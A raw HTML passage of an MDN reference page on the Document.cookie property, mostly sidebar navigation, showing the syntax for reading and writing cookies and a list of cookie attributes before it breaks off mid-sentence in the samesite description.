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class="submenu language-menu " aria-labelledby="language-menu-button"><li class=" "><form class="submenu-item locale-redirect-setting"><div class="group"><label class="switch"><input type="checkbox" name="locale-redirect"/><span class="slider"></span><span class="label">Remember language</span></label><a href="https://github.com/orgs/mdn/discussions/739" rel="external noopener noreferrer" target="_blank" title="Enable this setting to automatically switch to this language when it's available. (Click to learn more.)"><span class="icon icon-question-mark "></span></a></div></form></li><li class=" "><a data-locale="de" href="/de/docs/Web/API/Document/cookie" class="button submenu-item"><span>Deutsch</span><span title="Diese Übersetzung ist Teil eines Experiments."><span class="icon icon-experimental "></span></span></a></li><li class=" "><a data-locale="es" href="/es/docs/Web/API/Document/cookie" class="button submenu-item"><span>Español</span></a></li><li class=" "><a data-locale="ja" href="/ja/docs/Web/API/Document/cookie" class="button submenu-item"><span>日本語</span></a></li><li class=" "><a data-locale="ru" href="/ru/docs/Web/API/Document/cookie" class="button submenu-item"><span>Русский</span></a></li><li class=" "><a data-locale="zh-CN" href="/zh-CN/docs/Web/API/Document/cookie" class="button submenu-item"><span>中文 (简体)</span></a></li></ul></div></div></li></ul></div></div></div></div><div class="main-wrapper"><div class="sidebar-container"><aside id="sidebar-quicklinks" class="sidebar" data-macro="APIRef"><button type="button" class="button action backdrop" aria-label="Collapse sidebar"><span class="button-wrap"></span></button><nav aria-label="Related Topics" class="sidebar-inner"><header class="sidebar-actions"><section class="sidebar-filter-container"><div class="sidebar-filter "><label id="sidebar-filter-label" class="sidebar-filter-label" for="sidebar-filter-input"><span class="icon icon-filter"></span><span class="visually-hidden">Filter sidebar</span></label><input id="sidebar-filter-input" autoComplete="off" class="sidebar-filter-input-field false" type="text" placeholder="Filter" value=""/><button type="button" class="button action has-icon clear-sidebar-filter-button"><span class="button-wrap"><span class="icon icon-cancel "></span><span class="visually-hidden">Clear filter input</span></span></button></div></section></header><div class="sidebar-inner-nav"><div class="in-nav-toc"><div class="document-toc-container"><section class="document-toc"><header><h2 class="document-toc-heading">In this article</h2></header><ul class="document-toc-list"><li class="document-toc-item "><a class="document-toc-link" href="#syntax">Syntax</a></li><li class="document-toc-item "><a class="document-toc-link" href="#examples">Examples</a></li><li class="document-toc-item "><a class="document-toc-link" href="#security">Security</a></li><li class="document-toc-item "><a class="document-toc-link" href="#notes">Notes</a></li><li class="document-toc-item "><a class="document-toc-link" href="#specifications">Specifications</a></li><li class="document-toc-item "><a class="document-toc-link" href="#browser_compatibility">Browser compatibility</a></li><li class="document-toc-item "><a class="document-toc-link" href="#see_also">See also</a></li></ul></section></div></div><div class="sidebar-body"><ol><li class="section"><a href="/en-US/docs/Web/API/Document_Object_Model">Document Object Model</a></li><li class="section"><a href="/en-US/docs/Web/API/Document"><code>Document</code></a></li><li class="toggle"><details open=""><summary>Constructor</summary><ol><li><a href="/en-US/docs/Web/API/Document/Document"><code>Document()</code></a></li></ol></details></li><li class="toggle"><details open=""><summary>Instance properties</summary><ol><li><a href="/en-US/docs/Web/API/Document/activeElement"><code>activeElement</code></a></li><li><a href="/en-US/docs/Web/API/Document/adoptedStyleSheets"><code>adoptedStyleSheets</code></a></li><li><a href="/en-US/docs/Web/API/Document/alinkColor"><code>alinkColor</code></a><abbr class="icon icon-deprecated" title="Deprecated. Not for use in new websites."> <span class="visually-hidden">Deprecated</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/all"><code>all</code></a><abbr class="icon icon-deprecated" title="Deprecated. Not for use in new websites."> <span class="visually-hidden">Deprecated</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/anchors"><code>anchors</code></a><abbr class="icon icon-deprecated" title="Deprecated. Not for use in new websites."> <span class="visually-hidden">Deprecated</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/applets"><code>applets</code></a><abbr class="icon icon-deprecated" title="Deprecated. Not for use in new websites."> <span class="visually-hidden">Deprecated</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/bgColor"><code>bgColor</code></a><abbr class="icon icon-deprecated" title="Deprecated. Not for use in new websites."> <span class="visually-hidden">Deprecated</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/body"><code>body</code></a></li><li><a href="/en-US/docs/Web/API/Document/characterSet"><code>characterSet</code></a></li><li><a href="/en-US/docs/Web/API/Document/childElementCount"><code>childElementCount</code></a></li><li><a href="/en-US/docs/Web/API/Document/children"><code>children</code></a></li><li><a href="/en-US/docs/Web/API/Document/compatMode"><code>compatMode</code></a></li><li><a href="/en-US/docs/Web/API/Document/contentType"><code>contentType</code></a></li><li><em><code>cookie</code> </em></li><li><a href="/en-US/docs/Web/API/Document/currentScript"><code>currentScript</code></a></li><li><a href="/en-US/docs/Web/API/Document/defaultView"><code>defaultView</code></a></li><li><a href="/en-US/docs/Web/API/Document/designMode"><code>designMode</code></a></li><li><a href="/en-US/docs/Web/API/Document/dir"><code>dir</code></a></li><li><a href="/en-US/docs/Web/API/Document/doctype"><code>doctype</code></a></li><li><a href="/en-US/docs/Web/API/Document/documentElement"><code>documentElement</code></a></li><li><a href="/en-US/docs/Web/API/Document/documentURI"><code>documentURI</code></a></li><li><a href="/en-US/docs/Web/API/Document/domain"><code>domain</code></a><abbr class="icon icon-deprecated" title="Deprecated. Not for use in new websites."> <span class="visually-hidden">Deprecated</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/embeds"><code>embeds</code></a></li><li><a href="/en-US/docs/Web/API/Document/featurePolicy"><code>featurePolicy</code></a><abbr class="icon icon-experimental" title="Experimental. Expect behavior to change in the future."> <span class="visually-hidden">Experimental</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/fgColor"><code>fgColor</code></a><abbr class="icon icon-deprecated" title="Deprecated. Not for use in new websites."> <span class="visually-hidden">Deprecated</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/firstElementChild"><code>firstElementChild</code></a></li><li><a href="/en-US/docs/Web/API/Document/fonts"><code>fonts</code></a></li><li><a href="/en-US/docs/Web/API/Document/forms"><code>forms</code></a></li><li><a href="/en-US/docs/Web/API/Document/fragmentDirective"><code>fragmentDirective</code></a></li><li><a href="/en-US/docs/Web/API/Document/fullscreen"><code>fullscreen</code></a><abbr class="icon icon-deprecated" title="Deprecated. Not for use in new websites."> <span class="visually-hidden">Deprecated</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/fullscreenElement"><code>fullscreenElement</code></a></li><li><a href="/en-US/docs/Web/API/Document/fullscreenEnabled"><code>fullscreenEnabled</code></a></li><li><a href="/en-US/docs/Web/API/Document/head"><code>head</code></a></li><li><a href="/en-US/docs/Web/API/Document/hidden"><code>hidden</code></a></li><li><a href="/en-US/docs/Web/API/Document/images"><code>images</code></a></li><li><a href="/en-US/docs/Web/API/Document/implementation"><code>implementation</code></a></li><li><a href="/en-US/docs/Web/API/Document/lastElementChild"><code>lastElementChild</code></a></li><li><a href="/en-US/docs/Web/API/Document/lastModified"><code>lastModified</code></a></li><li><a href="/en-US/docs/Web/API/Document/lastStyleSheetSet"><code>lastStyleSheetSet</code></a><abbr class="icon icon-nonstandard" title="Non-standard. Check cross-browser support before using."> <span class="visually-hidden">Non-standard</span> </abbr><abbr class="icon icon-deprecated" title="Deprecated. Not for use in new websites."> <span class="visually-hidden">Deprecated</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/linkColor"><code>linkColor</code></a><abbr class="icon icon-deprecated" title="Deprecated. Not for use in new websites."> <span class="visually-hidden">Deprecated</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/links"><code>links</code></a></li><li><a href="/en-US/docs/Web/API/Document/location"><code>location</code></a></li><li><a href="/en-US/docs/Web/API/Document/pictureInPictureElement"><code>pictureInPictureElement</code></a></li><li><a href="/en-US/docs/Web/API/Document/pictureInPictureEnabled"><code>pictureInPictureEnabled</code></a></li><li><a href="/en-US/docs/Web/API/Document/plugins"><code>plugins</code></a></li><li><a href="/en-US/docs/Web/API/Document/pointerLockElement"><code>pointerLockElement</code></a></li><li><a href="/en-US/docs/Web/API/Document/preferredStyleSheetSet"><code>preferredStyleSheetSet</code></a><abbr class="icon icon-nonstandard" title="Non-standard. Check cross-browser support before using."> <span class="visually-hidden">Non-standard</span> </abbr><abbr class="icon icon-deprecated" title="Deprecated. Not for use in new websites."> <span class="visually-hidden">Deprecated</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/prerendering"><code>prerendering</code></a><abbr class="icon icon-experimental" title="Experimental. Expect behavior to change in the future."> <span class="visually-hidden">Experimental</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/readyState"><code>readyState</code></a></li><li><a href="/en-US/docs/Web/API/Document/referrer"><code>referrer</code></a></li><li><a href="/en-US/docs/Web/API/Document/rootElement"><code>rootElement</code></a><abbr class="icon icon-deprecated" title="Deprecated. Not for use in new websites."> <span class="visually-hidden">Deprecated</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/scripts"><code>scripts</code></a></li><li><a href="/en-US/docs/Web/API/Document/scrollingElement"><code>scrollingElement</code></a></li><li><a href="/en-US/docs/Web/API/Document/selectedStyleSheetSet"><code>selectedStyleSheetSet</code></a><abbr class="icon icon-nonstandard" title="Non-standard. Check cross-browser support before using."> <span class="visually-hidden">Non-standard</span> </abbr><abbr class="icon icon-deprecated" title="Deprecated. Not for use in new websites."> <span class="visually-hidden">Deprecated</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/styleSheets"><code>styleSheets</code></a></li><li><a href="/en-US/docs/Web/API/Document/styleSheetSets"><code>styleSheetSets</code></a><abbr class="icon icon-nonstandard" title="Non-standard. Check cross-browser support before using."> <span class="visually-hidden">Non-standard</span> </abbr><abbr class="icon icon-deprecated" title="Deprecated. Not for use in new websites."> <span class="visually-hidden">Deprecated</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/timeline"><code>timeline</code></a></li><li><a href="/en-US/docs/Web/API/Document/title"><code>title</code></a></li><li><a href="/en-US/docs/Web/API/Document/URL"><code>URL</code></a></li><li><a href="/en-US/docs/Web/API/Document/visibilityState"><code>visibilityState</code></a></li><li><a href="/en-US/docs/Web/API/Document/vlinkColor"><code>vlinkColor</code></a><abbr class="icon icon-deprecated" title="Deprecated. Not for use in new websites."> <span class="visually-hidden">Deprecated</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/xmlEncoding"><code>xmlEncoding</code></a><abbr class="icon icon-deprecated" title="Deprecated. Not for use in new websites."> <span class="visually-hidden">Deprecated</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/xmlVersion"><code>xmlVersion</code></a><abbr class="icon icon-deprecated" title="Deprecated. Not for use in new websites."> <span class="visually-hidden">Deprecated</span> </abbr></li></ol></details></li><li class="toggle"><details open=""><summary>Static methods</summary><ol><li><a href="/en-US/docs/Web/API/Document/parseHTMLUnsafe_static"><code>parseHTMLUnsafe()</code></a></li></ol></details></li><li class="toggle"><details open=""><summary>Instance methods</summary><ol><li><a href="/en-US/docs/Web/API/Document/adoptNode"><code>adoptNode()</code></a></li><li><a href="/en-US/docs/Web/API/Document/append"><code>append()</code></a></li><li><a href="/en-US/docs/Web/API/Document/browsingTopics"><code>browsingTopics()</code></a><abbr class="icon icon-experimental" title="Experimental. Expect behavior to change in the future."> <span class="visually-hidden">Experimental</span> </abbr><abbr class="icon icon-nonstandard" title="Non-standard. Check cross-browser support before using."> <span class="visually-hidden">Non-standard</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/caretPositionFromPoint"><code>caretPositionFromPoint()</code></a></li><li><a href="/en-US/docs/Web/API/Document/caretRangeFromPoint"><code>caretRangeFromPoint()</code></a><abbr class="icon icon-nonstandard" title="Non-standard. Check cross-browser support before using."> <span class="visually-hidden">Non-standard</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/clear"><code>clear()</code></a><abbr class="icon icon-deprecated" title="Deprecated. Not for use in new websites."> <span class="visually-hidden">Deprecated</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/close"><code>close()</code></a></li><li><a href="/en-US/docs/Web/API/Document/createAttribute"><code>createAttribute()</code></a></li><li><a href="/en-US/docs/Web/API/Document/createAttributeNS"><code>createAttributeNS()</code></a></li><li><a href="/en-US/docs/Web/API/Document/createCDATASection"><code>createCDATASection()</code></a></li><li><a href="/en-US/docs/Web/API/Document/createComment"><code>createComment()</code></a></li><li><a href="/en-US/docs/Web/API/Document/createDocumentFragment"><code>createDocumentFragment()</code></a></li><li><a href="/en-US/docs/Web/API/Document/createElement"><code>createElement()</code></a></li><li><a href="/en-US/docs/Web/API/Document/createElementNS"><code>createElementNS()</code></a></li><li><a href="/en-US/docs/Web/API/Document/createEvent"><code>createEvent()</code></a></li><li><a href="/en-US/docs/Web/API/Document/createExpression"><code>createExpression()</code></a></li><li><a href="/en-US/docs/Web/API/Document/createNodeIterator"><code>createNodeIterator()</code></a></li><li><a href="/en-US/docs/Web/API/Document/createNSResolver"><code>createNSResolver()</code></a><abbr class="icon icon-deprecated" title="Deprecated. Not for use in new websites."> <span class="visually-hidden">Deprecated</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/createProcessingInstruction"><code>createProcessingInstruction()</code></a></li><li><a href="/en-US/docs/Web/API/Document/createRange"><code>createRange()</code></a></li><li><a href="/en-US/docs/Web/API/Document/createTextNode"><code>createTextNode()</code></a></li><li><a href="/en-US/docs/Web/API/Document/createTouch"><code>createTouch()</code></a><abbr class="icon icon-nonstandard" title="Non-standard. Check cross-browser support before using."> <span class="visually-hidden">Non-standard</span> </abbr><abbr class="icon icon-deprecated" title="Deprecated. Not for use in new websites."> <span class="visually-hidden">Deprecated</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/createTouchList"><code>createTouchList()</code></a><abbr class="icon icon-nonstandard" title="Non-standard. Check cross-browser support before using."> <span class="visually-hidden">Non-standard</span> </abbr><abbr class="icon icon-deprecated" title="Deprecated. Not for use in new websites."> <span class="visually-hidden">Deprecated</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/createTreeWalker"><code>createTreeWalker()</code></a></li><li><a href="/en-US/docs/Web/API/Document/elementFromPoint"><code>elementFromPoint()</code></a></li><li><a href="/en-US/docs/Web/API/Document/elementsFromPoint"><code>elementsFromPoint()</code></a></li><li><a href="/en-US/docs/Web/API/Document/enableStyleSheetsForSet"><code>enableStyleSheetsForSet()</code></a><abbr class="icon icon-nonstandard" title="Non-standard. Check cross-browser support before using."> <span class="visually-hidden">Non-standard</span> </abbr><abbr class="icon icon-deprecated" title="Deprecated. Not for use in new websites."> <span class="visually-hidden">Deprecated</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/evaluate"><code>evaluate()</code></a></li><li><a href="/en-US/docs/Web/API/Document/execCommand"><code>execCommand()</code></a><abbr class="icon icon-deprecated" title="Deprecated. Not for use in new websites."> <span class="visually-hidden">Deprecated</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/exitFullscreen"><code>exitFullscreen()</code></a></li><li><a href="/en-US/docs/Web/API/Document/exitPictureInPicture"><code>exitPictureInPicture()</code></a></li><li><a href="/en-US/docs/Web/API/Document/exitPointerLock"><code>exitPointerLock()</code></a></li><li><a href="/en-US/docs/Web/API/Document/getAnimations"><code>getAnimations()</code></a></li><li><a href="/en-US/docs/Web/API/Document/getElementById"><code>getElementById()</code></a></li><li><a href="/en-US/docs/Web/API/Document/getElementsByClassName"><code>getElementsByClassName()</code></a></li><li><a href="/en-US/docs/Web/API/Document/getElementsByName"><code>getElementsByName()</code></a></li><li><a href="/en-US/docs/Web/API/Document/getElementsByTagName"><code>getElementsByTagName()</code></a></li><li><a href="/en-US/docs/Web/API/Document/getElementsByTagNameNS"><code>getElementsByTagNameNS()</code></a></li><li><a href="/en-US/docs/Web/API/Document/getSelection"><code>getSelection()</code></a></li><li><a href="/en-US/docs/Web/API/Document/hasFocus"><code>hasFocus()</code></a></li><li><a href="/en-US/docs/Web/API/Document/hasStorageAccess"><code>hasStorageAccess()</code></a></li><li><a href="/en-US/docs/Web/API/Document/hasUnpartitionedCookieAccess"><code>hasUnpartitionedCookieAccess()</code></a></li><li><a href="/en-US/docs/Web/API/Document/importNode"><code>importNode()</code></a></li><li><a href="/en-US/docs/Web/API/Document/mozSetImageElement"><code>mozSetImageElement()</code></a><abbr class="icon icon-nonstandard" title="Non-standard. Check cross-browser support before using."> <span class="visually-hidden">Non-standard</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/open"><code>open()</code></a></li><li><a href="/en-US/docs/Web/API/Document/prepend"><code>prepend()</code></a></li><li><a href="/en-US/docs/Web/API/Document/queryCommandEnabled"><code>queryCommandEnabled()</code></a><abbr class="icon icon-nonstandard" title="Non-standard. Check cross-browser support before using."> <span class="visually-hidden">Non-standard</span> </abbr><abbr class="icon icon-deprecated" title="Deprecated. Not for use in new websites."> <span class="visually-hidden">Deprecated</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/queryCommandState"><code>queryCommandState()</code></a><abbr class="icon icon-nonstandard" title="Non-standard. Check cross-browser support before using."> <span class="visually-hidden">Non-standard</span> </abbr><abbr class="icon icon-deprecated" title="Deprecated. Not for use in new websites."> <span class="visually-hidden">Deprecated</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/queryCommandSupported"><code>queryCommandSupported()</code></a><abbr class="icon icon-nonstandard" title="Non-standard. Check cross-browser support before using."> <span class="visually-hidden">Non-standard</span> </abbr><abbr class="icon icon-deprecated" title="Deprecated. Not for use in new websites."> <span class="visually-hidden">Deprecated</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/querySelector"><code>querySelector()</code></a></li><li><a href="/en-US/docs/Web/API/Document/querySelectorAll"><code>querySelectorAll()</code></a></li><li><a href="/en-US/docs/Web/API/Document/releaseCapture"><code>releaseCapture()</code></a><abbr class="icon icon-nonstandard" title="Non-standard. Check cross-browser support before using."> <span class="visually-hidden">Non-standard</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/replaceChildren"><code>replaceChildren()</code></a></li><li><a href="/en-US/docs/Web/API/Document/requestStorageAccess"><code>requestStorageAccess()</code></a></li><li><a href="/en-US/docs/Web/API/Document/requestStorageAccessFor"><code>requestStorageAccessFor()</code></a><abbr class="icon icon-experimental" title="Experimental. Expect behavior to change in the future."> <span class="visually-hidden">Experimental</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/startViewTransition"><code>startViewTransition()</code></a></li><li><a href="/en-US/docs/Web/API/Document/write"><code>write()</code></a></li><li><a href="/en-US/docs/Web/API/Document/writeln"><code>writeln()</code></a></li></ol></details></li><li class="toggle"><details open=""><summary>Events</summary><ol><li><a href="/en-US/docs/Web/API/Document/afterscriptexecute_event"><code>afterscriptexecute</code></a><abbr class="icon icon-nonstandard" title="Non-standard. Check cross-browser support before using."> <span class="visually-hidden">Non-standard</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/beforescriptexecute_event"><code>beforescriptexecute</code></a><abbr class="icon icon-nonstandard" title="Non-standard. Check cross-browser support before using."> <span class="visually-hidden">Non-standard</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/copy_event"><code>copy</code></a></li><li><a href="/en-US/docs/Web/API/Document/cut_event"><code>cut</code></a></li><li><a href="/en-US/docs/Web/API/Document/DOMContentLoaded_event"><code>DOMContentLoaded</code></a></li><li><a href="/en-US/docs/Web/API/Document/fullscreenchange_event"><code>fullscreenchange</code></a></li><li><a href="/en-US/docs/Web/API/Document/fullscreenerror_event"><code>fullscreenerror</code></a></li><li><a href="/en-US/docs/Web/API/Document/paste_event"><code>paste</code></a></li><li><a href="/en-US/docs/Web/API/Document/pointerlockchange_event"><code>pointerlockchange</code></a></li><li><a href="/en-US/docs/Web/API/Document/pointerlockerror_event"><code>pointerlockerror</code></a></li><li><a href="/en-US/docs/Web/API/Document/prerenderingchange_event"><code>prerenderingchange</code></a><abbr class="icon icon-experimental" title="Experimental. Expect behavior to change in the future."> <span class="visually-hidden">Experimental</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/readystatechange_event"><code>readystatechange</code></a></li><li><a href="/en-US/docs/Web/API/Document/scroll_event"><code>scroll</code></a></li><li><a href="/en-US/docs/Web/API/Document/scrollend_event"><code>scrollend</code></a></li><li><a href="/en-US/docs/Web/API/Document/scrollsnapchange_event"><code>scrollsnapchange</code></a><abbr class="icon icon-experimental" title="Experimental. Expect behavior to change in the future."> <span class="visually-hidden">Experimental</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/scrollsnapchanging_event"><code>scrollsnapchanging</code></a><abbr class="icon icon-experimental" title="Experimental. Expect behavior to change in the future."> <span class="visually-hidden">Experimental</span> </abbr></li><li><a href="/en-US/docs/Web/API/Document/securitypolicyviolation_event"><code>securitypolicyviolation</code></a></li><li><a href="/en-US/docs/Web/API/Document/selectionchange_event"><code>selectionchange</code></a></li><li><a href="/en-US/docs/Web/API/Document/visibilitychange_event"><code>visibilitychange</code></a></li></ol></details></li><li class="toggle"><details open=""><summary>Inheritance</summary><ol><li><a href="/en-US/docs/Web/API/Node"><code>Node</code></a></li><li><a href="/en-US/docs/Web/API/EventTarget"><code>EventTarget</code></a></li></ol></details></li><li class="toggle"><details open=""><summary>Related pages for DOM</summary><ol><li><a href="/en-US/docs/Web/API/AbortController"><code>AbortController</code></a></li><li><a href="/en-US/docs/Web/API/AbortSignal"><code>AbortSignal</code></a></li><li><a href="/en-US/docs/Web/API/AbstractRange"><code>AbstractRange</code></a></li><li><a href="/en-US/docs/Web/API/Attr"><code>Attr</code></a></li><li><a href="/en-US/docs/Web/API/CDATASection"><code>CDATASection</code></a></li><li><a href="/en-US/docs/Web/API/CharacterData"><code>CharacterData</code></a></li><li><a href="/en-US/docs/Web/API/Comment"><code>Comment</code></a></li><li><a href="/en-US/docs/Web/API/CustomEvent"><code>CustomEvent</code></a></li><li><a href="/en-US/docs/Web/API/DOMError"><code>DOMError</code></a><abbr class="icon icon-deprecated" title="Deprecated. Not for use in new websites."> <span class="visually-hidden">Deprecated</span> </abbr></li><li><a href="/en-US/docs/Web/API/DOMException"><code>DOMException</code></a></li><li><a href="/en-US/docs/Web/API/DOMImplementation"><code>DOMImplementation</code></a></li><li><a href="/en-US/docs/Web/API/DOMParser"><code>DOMParser</code></a></li><li><a href="/en-US/docs/Web/API/DOMPoint"><code>DOMPoint</code></a></li><li><a href="/en-US/docs/Web/API/DOMPointReadOnly"><code>DOMPointReadOnly</code></a></li><li><a href="/en-US/docs/Web/API/DOMRect"><code>DOMRect</code></a></li><li><a href="/en-US/docs/Web/API/DOMTokenList"><code>DOMTokenList</code></a></li><li><a href="/en-US/docs/Web/API/DocumentFragment"><code>DocumentFragment</code></a></li><li><a href="/en-US/docs/Web/API/DocumentType"><code>DocumentType</code></a></li><li><a href="/en-US/docs/Web/API/Element"><code>Element</code></a></li><li><a href="/en-US/docs/Web/API/Event"><code>Event</code></a></li><li><a href="/en-US/docs/Web/API/EventTarget"><code>EventTarget</code></a></li><li><a href="/en-US/docs/Web/API/HTMLCollection"><code>HTMLCollection</code></a></li><li><a href="/en-US/docs/Web/API/MutationObserver"><code>MutationObserver</code></a></li><li><a href="/en-US/docs/Web/API/MutationRecord"><code>MutationRecord</code></a></li><li><a href="/en-US/docs/Web/API/NamedNodeMap"><code>NamedNodeMap</code></a></li><li><a href="/en-US/docs/Web/API/Node"><code>Node</code></a></li><li><a href="/en-US/docs/Web/API/NodeIterator"><code>NodeIterator</code></a></li><li><a href="/en-US/docs/Web/API/NodeList"><code>NodeList</code></a></li><li><a href="/en-US/docs/Web/API/ProcessingInstruction"><code>ProcessingInstruction</code></a></li><li><a href="/en-US/docs/Web/API/Range"><code>Range</code></a></li><li><a href="/en-US/docs/Web/API/StaticRange"><code>StaticRange</code></a></li><li><a href="/en-US/docs/Web/API/Text"><code>Text</code></a></li><li><a href="/en-US/docs/Web/API/TextDecoder"><code>TextDecoder</code></a></li><li><a href="/en-US/docs/Web/API/TextEncoder"><code>TextEncoder</code></a></li><li><a href="/en-US/docs/Web/API/TimeRanges"><code>TimeRanges</code></a></li><li><a href="/en-US/docs/Web/API/TreeWalker"><code>TreeWalker</code></a></li><li><a href="/en-US/docs/Web/API/XMLDocument"><code>XMLDocument</code></a></li></ol></details></li></ol></div></div><section class="place side"></section></nav></aside><div class="toc-container"><aside class="toc"><nav><div class="document-toc-container"><section class="document-toc"><header><h2 class="document-toc-heading">In this article</h2></header><ul class="document-toc-list"><li class="document-toc-item "><a class="document-toc-link" href="#syntax">Syntax</a></li><li class="document-toc-item "><a class="document-toc-link" href="#examples">Examples</a></li><li class="document-toc-item "><a class="document-toc-link" href="#security">Security</a></li><li class="document-toc-item "><a class="document-toc-link" href="#notes">Notes</a></li><li class="document-toc-item "><a class="document-toc-link" href="#specifications">Specifications</a></li><li class="document-toc-item "><a class="document-toc-link" href="#browser_compatibility">Browser compatibility</a></li><li class="document-toc-item "><a class="document-toc-link" href="#see_also">See also</a></li></ul></section></div></nav></aside><section class="place side"></section></div></div><main id="content" class="main-content "><article class="main-page-content" lang="en-US"><header><h1>Document: cookie property</h1><details class="baseline-indicator high"><summary><span class="indicator" role="img" aria-label="Baseline Check"></span><h2>Baseline <span class="not-bold">Widely available</span></h2><div class="browsers"><span class="engine" title="Supported in Chrome and Edge"><span class="browser chrome supported" role="img" aria-label="Chrome check"></span><span class="browser edge supported" role="img" aria-label="Edge check"></span></span><span class="engine" title="Supported in Firefox"><span class="browser firefox supported" role="img" aria-label="Firefox check"></span></span><span class="engine" title="Supported in Safari"><span class="browser safari supported" role="img" aria-label="Safari check"></span></span></div><span class="icon icon-chevron "></span></summary><div class="extra"><p>This feature is well established and works across many devices and browser versions. It’s been available across browsers since July 2015.</p><ul><li><a href="/en-US/docs/Glossary/Baseline/Compatibility" data-glean="baseline_link_learn_more" target="_blank" class="learn-more">Learn more</a></li><li><a href="#browser_compatibility" data-glean="baseline_link_bcd_table">See full compatibility</a></li><li><a href="https://survey.alchemer.com/s3/7634825/MDN-baseline-feedback?page=%2Fen-US%2Fdocs%2FWeb%2FAPI%2FDocument%2Fcookie&level=high" data-glean="baseline_link_feedback" class="feedback-link" target="_blank" rel="noreferrer">Report feedback</a></li></ul></div></details></header><div class="section-content"><p> The <a href="/en-US/docs/Web/API/Document"><code>Document</code></a> property <code>cookie</code> lets you read and write <a href="/en-US/docs/Web/HTTP/Cookies">cookies</a> associated with the document. It serves as a getter and setter for the actual values of the cookies. </p></div><section aria-labelledby="syntax"><h2 id="syntax"><a href="#syntax">Syntax</a></h2><div class="section-content"></div></section><section aria-labelledby="read_all_cookies_accessible_from_this_location"><h3 id="read_all_cookies_accessible_from_this_location"><a href="#read_all_cookies_accessible_from_this_location">Read all cookies accessible from this location</a></h3><div class="section-content"><div class="code-example"><div class="example-header"><span class="language-name">js</span></div><pre class="brush: js notranslate"><code>allCookies = document.cookie; </code></pre></div> <p> In the code above <code>allCookies</code> is a string containing a semicolon-separated list of all cookies (i.e. <code>key=value</code> pairs). Note that each <em>key</em> and <em>value</em> may be surrounded by whitespace (space and tab characters): in fact, <a href="https://datatracker.ietf.org/doc/html/rfc6265" class="external" target="_blank">RFC 6265</a> mandates a single space after each semicolon, but some user agents may not abide by this. </p></div></section><section aria-labelledby="write_a_new_cookie"><h3 id="write_a_new_cookie"><a href="#write_a_new_cookie">Write a new cookie</a></h3><div class="section-content"><div class="code-example"><div class="example-header"><span class="language-name">js</span></div><pre class="brush: js notranslate"><code>document.cookie = newCookie; </code></pre></div> <p>In the code above, <code>newCookie</code> is a string of form <code>key=value</code>, specifying the cookie to set/update. Note that you can only set/update a single cookie at a time using this method. Consider also that:</p> <ul> <li> <p>Any of the following cookie attribute values can optionally follow the key-value pair, each preceded by a semicolon separator:</p> <ul> <li> <p> <code>;domain=domain</code> (e.g., <code>example.com</code> or <code>subdomain.example.com</code>): The host to which the cookie will be sent. If not specified, this defaults to the host portion of the current document location and the cookie is not available on subdomains. If a domain is specified, subdomains are always included. Contrary to earlier specifications, leading dots in domain names are ignored, but browsers may decline to set the cookie containing such dots. </p> <div class="notecard note"> <p> <strong>Note:</strong> The domain <em>must</em> match the domain of the JavaScript origin. Setting cookies to foreign domains will be silently ignored. </p> </div> </li> <li> <p><code>;expires=date-in-UTCString-format</code>: The expiry date of the cookie. If neither <code>expires</code> nor <code>max-age</code> is specified, it will expire at the end of session.</p> <div class="notecard warning"> <p> <strong>Warning:</strong> When user privacy is a concern, it's important that any web app implementation invalidate cookie data after a certain timeout instead of relying on the browser to do it. Many browsers let users specify that cookies should never expire, which is not necessarily safe. </p> </div> <p>See <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toUTCString"><code>Date.toUTCString()</code></a> for help formatting this value.</p> </li> <li> <p><code>;max-age=max-age-in-seconds</code>: The maximum age of the cookie in seconds (e.g., <code>60*60*24*365</code> or 31536000 for a year).</p> </li> <li> <p><code>;partitioned</code>: Indicates that the cookie should be stored using partitioned storage. See <a href="/en-US/docs/Web/Privacy/Privacy_sandbox/Partitioned_cookies">Cookies Having Independent Partitioned State (CHIPS)</a> for more details.</p> </li> <li> <p><code>;path=path</code>: The value of the cookie's <code>Path</code> attribute (See <a href="/en-US/docs/Web/HTTP/Cookies#define_where_cookies_are_sent">Define where cookies are sent</a> for more information).</p> </li> <li> <p><code>;samesite</code>: The <code>SameSite</code> attribute of a <a href="/en-US/docs/Web/HTTP/Headers/Set-Cookie"><code>Set-Cookie</code></a> header can be set by a server to specify when the cookie will be sent. Possible values are <code>lax</code>, <code>strict</code> or <code>none</code> (see also <a href="/en-US/docs/Web/HTTP/Cookies#controlling_third-party_cookies_with_samesite">Controlling third-party cookies with <code>SameSite</code></a>).</p> <ul> <li> The <code>lax</code> value will send the cookie for all same-site requests and top-level navigation GET requests. This is sufficient for user tracking, but it will prevent many <a 